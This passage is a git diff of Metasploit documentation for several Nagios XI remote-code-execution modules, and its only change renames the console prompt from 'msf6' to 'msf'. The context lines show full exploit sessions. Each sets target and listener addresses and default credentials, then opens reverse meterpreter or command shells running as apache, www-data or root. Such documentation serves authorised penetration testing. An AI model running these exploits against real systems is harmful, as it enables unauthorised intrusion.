a/documentation/modules/exploit/linux/http/nagios_xi_magpie_debug.md b/documentation/modules/exploit/linux/http/nagios_xi_magpie_debug.md index 25abb15c5aace..1f84b76f41c65 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_magpie_debug.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_magpie_debug.md @@ -52,13 +52,13 @@ Port at which the local HTTPS server can be reached. ## NagiosXI 5.5.6 (x64) virtual appliance ``` -msf6 > use exploit/linux/http/nagios_xi_magpie_debug +msf > use exploit/linux/http/nagios_xi_magpie_debug [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113 +msf exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113 rhosts => 10.1.1.113 -msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114 +msf exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114 rsrvhost => 10.1.1.114 -msf6 exploit(linux/http/nagios_xi_magpie_debug) > run +msf exploit(linux/http/nagios_xi_magpie_debug) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. @@ -85,7 +85,7 @@ msf6 exploit(linux/http/nagios_xi_magpie_debug) > run [!] This exploit may require manual cleanup of '/var/tmp/hRyNmrQHZAq.nse' on the target [*] Server stopped. -msf6 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1 +msf exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/exploit/linux/http/nagios_xi_mibs_authenticated_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_mibs_authenticated_rce.md index 40d58e39f1b09..5d2f85daf3cb7 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_mibs_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_mibs_authenticated_rce.md @@ -54,15 +54,15 @@ Id Name ## Scenarios ### Nagios XI 5.7.3 running on CentOS 7 - Linux target ``` -msf6 > use exploit/linux/http/nagios_xi_mibs_authenticated_rce +msf > use exploit/linux/http/nagios_xi_mibs_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_mibs_authenticated_rce): @@ -102,7 +102,7 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -119,17 +119,17 @@ Server username: apache @ localhost.localdomain (uid=48, gid=48, euid=48, egid=4 ``` ### Nagios XI 5.7.3 running on CentOS 7 - CMD target ``` -msf6 > use exploit/linux/http/nagios_xi_mibs_authenticated_rce +msf > use exploit/linux/http/nagios_xi_mibs_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set target 1 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set target 1 target => 1 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_mibs_authenticated_rce): @@ -169,7 +169,7 @@ Exploit target: 1 CMD -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > run [*] Started reverse SSL handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -186,15 +186,15 @@ uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd) ### Nagios 5.6.5 on Ubuntu 20.04 LTS ``` -msf6 > use exploit/linux/http/nagios_xi_mibs_authenticated_rce +msf > use exploit/linux/http/nagios_xi_mibs_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set RHOSTS 172.19.34.88 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set RHOSTS 172.19.34.88 RHOSTS => 172.19.34.88 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set LHOST 172.19.37.24 +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > set LHOST 172.19.37.24 LHOST => 172.19.37.24 -msf6 exploit(linux/http/nagios_xi_mibs_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_mibs_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.19.37.24:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.md index 90beded1b900c..bd97ac4e9165d 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.md @@ -67,17 +67,17 @@ Id Name ## Scenarios ### Nagios XI 5.6.5 running on CentOS 7 - Linux (x86) target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 lhost => 192.168.1.28 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 0 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 0 target => 0 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce): @@ -117,7 +117,7 @@ Exploit target: 0 Linux (x86) -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.28:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -141,17 +141,17 @@ Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) ### Nagios XI 5.6.5 running on CentOS 7 - Linux (cmd) target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 lhost => 192.168.1.28 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 2 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 2 target => 2 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce): @@ -191,7 +191,7 @@ Exploit target: 2 Linux (cmd) -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.28:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -214,17 +214,17 @@ uid=0(root) gid=0(root) groups=0(root) ### Nagios XI 5.3.0 running on CentOS 7 (unfinished installation) - Linux (x64) target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28 lhost => 192.168.1.28 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosxi +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosxi password => nagiosxi -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set finish_install true +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set finish_install true finish_install => true -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce): @@ -264,7 +264,7 @@ Exploit target: 1 Linux (x64) -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.28:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -296,17 +296,17 @@ meterpreter > ### Nagios XI 5.6.5 running on Ubuntu 20.04 LTS (finished installation) - Linux (x64) target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOST 172.25.133.237 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOST 172.25.133.237 RHOST => 172.25.133.237 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 172.25.132.121 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 172.25.132.121 LHOST => 172.25.132.121 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LPORT 7712 +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LPORT 7712 LPORT => 7712 -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce): @@ -344,7 +344,7 @@ Exploit target: 1 Linux (x64) -msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.25.132.121:7712 [*] Executing automatic check (disable AutoCheck to override) @@ -371,4 +371,4 @@ Process 3747 created. Channel 1 created. uname -a Linux test-Virtual-Machine 5.4.0-70-generic #78~18.04.1-Ubuntu SMP Sat Mar 20 14:10:07 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce.md index 806eda386894e..8bdc39c4d95d9 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce.md @@ -58,15 +58,15 @@ Id Name ## Scenarios ### Nagios XI 5.3.0 running on CentOS 7 - Linux target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosxi +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosxi password => nagiosxi -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce): @@ -106,7 +106,7 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -129,17 +129,17 @@ Server username: apache @ localhost.localdomain (uid=48, gid=48, euid=48, egid=4 ``` ### Nagios XI 5.7.5 running on CentOS 7 - CMD target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set target 1 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set target 1 target => 1 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.14 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce): @@ -179,7 +179,7 @@ Exploit target: 1 CMD -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -196,17 +196,17 @@ uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd) contex ``` ### Nagios XI 5.7.5 running on CentOS 7 (unfinished installation) - Linux target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.14 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set finish_install true +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set finish_install true finish_install => true -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce): @@ -246,7 +246,7 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -279,15 +279,15 @@ Server username: apache @ localhost.localdomain (uid=48, gid=48, euid=48, egid=4 ### Nagios XI 5.5.6 on Ubuntu 20.04 LTS - Linux Target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set RHOSTS 172.25.34.240 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set RHOSTS 172.25.34.240 RHOSTS => 172.25.34.240 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set LHOST 172.25.33.151 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set LHOST 172.25.33.151 LHOST => 172.25.33.151 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce): @@ -325,7 +325,7 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.25.33.151:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -360,17 +360,17 @@ meterpreter > ### Nagios XI 5.5.6 on Ubuntu 20.04 LTS - CMD Target ``` -msf6 > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce +msf > use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set RHOSTS 172.25.34.240 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set RHOSTS 172.25.34.240 RHOSTS => 172.25.34.240 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set LHOST 172.25.33.151 +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set LHOST 172.25.33.151 LHOST => 172.25.33.151 -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set target CMD +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > set target CMD target => CMD -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce): @@ -408,7 +408,7 @@ Exploit target: 1 CMD -msf6 exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_plugins_filename_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.25.33.151:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -426,4 +426,4 @@ id uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd) pwd /usr/local/nagiosxi/html/admin -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/nagios_xi_snmptrap_authenticated_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_snmptrap_authenticated_rce.md index b113a971ee565..120a281959dcc 100644 --- a/documentation/modules/exploit/linux/http/nagios_xi_snmptrap_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/nagios_xi_snmptrap_authenticated_rce.md @@ -54,15 +54,15 @@ Id Name ## Scenarios ### Nagios XI 5.7.3 running on CentOS 7 - Linux target ``` -msf6 > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce +msf > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_snmptrap_authenticated_rce): @@ -102,7 +102,7 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -122,17 +122,17 @@ Server username: apache @ localhost.localdomain (uid=48, gid=48, euid=48, egid=4 ``` ### Nagios XI 5.7.3 running on CentOS 7 - CMD target ``` -msf6 > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce +msf > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set rhosts 192.168.1.16 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set lhost 192.168.1.12 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set lhost 192.168.1.12 lhost => 192.168.1.12 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set password nagiosadmin +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set password nagiosadmin password => nagiosadmin -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set target 1 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set target 1 target => 1 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_snmptrap_authenticated_rce): @@ -172,7 +172,7 @@ Exploit target: 1 CMD -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > run +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -191,17 +191,17 @@ uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd) ### Nagios XI 5.6.5 running on CentOS 7 - Linux Target ``` -msf6 > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce +msf > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set FINISH_INSTALL true +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set LHOST 172.21.163.243 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set LHOST 172.21.163.243 LHOST => 172.21.163.243 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set RHOSTS 172.21.168.44 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set RHOSTS 172.21.168.44 RHOSTS => 172.21.168.44 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check [*] Attempting to authenticate to Nagios XI... [!] The target seems to be a Nagios XI application that has not been fully installed yet. @@ -216,7 +216,7 @@ msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check [+] Successfully authenticated to Nagios XI [*] Target is Nagios XI with version 5.6.5 [*] 172.21.168.44:80 - The target appears to be vulnerable. -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.21.163.243:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -239,7 +239,7 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.21.168.44 - Meterpreter session 1 closed. Reason: User exit -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_snmptrap_authenticated_rce): @@ -277,22 +277,22 @@ Exploit target: 0 Linux (x86/x64) -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > ``` ### Nagios XI 5.6.5 running on CentOS 7 - CMD Target ``` -msf6 > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce +msf > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set PASSWORD nagiosadmin +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set FINISH_INSTALL true +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true -msf6 